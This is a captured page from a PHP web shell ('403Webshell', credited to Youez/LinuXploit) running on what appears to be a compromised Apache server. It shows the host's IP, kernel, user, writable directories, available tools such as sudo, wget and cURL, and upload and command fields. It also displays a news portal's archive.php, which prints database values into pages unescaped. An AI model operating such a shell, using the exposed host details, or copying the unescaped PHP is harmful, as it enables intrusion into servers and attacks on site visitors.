403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/news_portal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/news_portal/archive.php
 <style>
div.gallery {
    margin: 5px;
    border: 1px solid #ccc;
    float: left;
    width: 150px;
}

div.gallery:hover {
    border: 1px solid #777;
}

div.gallery img {
    width: 100%;
    height: auto;
}

div.desc {
    padding: 15px;
    text-align: center;
}
</style>
<h3>Archives</h3>
 <?php
  $userQ="select * from category where status='active' order by id desc LIMIT 12";
		$userRes=mysql_query($userQ) or die(mysql_error());
if($count=mysql_num_rows($userRes))
	{
		while ($userRow=mysql_fetch_assoc($userRes)) 
		{
			$category=$userRow['category'];

?>

<div class="gallery">
  <a href="#">
    <img src="assets/images/<?php echo $category;?>/<?php echo $userRow['pic']; ?>" alt="Trolltunga Norway" width="300" height="200">
  </a>
  <div class="desc"><?php echo $userRow['category'];?></div>
</div>
<?php
		}
	}
  $userQ1="select * from video where status='active' order by Date desc LIMIT 12";
		$userRes1=mysql_query($userQ1) or die(mysql_error());
if($count1=mysql_num_rows($userRes1))
	{
		while ($userRow1=mysql_fetch_assoc($userRes1)) 
		{

?>

<div class="gallery" style="width:28%;float:left;">
	<video width="100%" controls>
      <source src="video/<?php echo $userRow1['video'];?>" type="video/mp4">
  </video>
  <div class="desc"><?php echo $userRow1['subject'];?></div>
</div>
<?php
		}
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit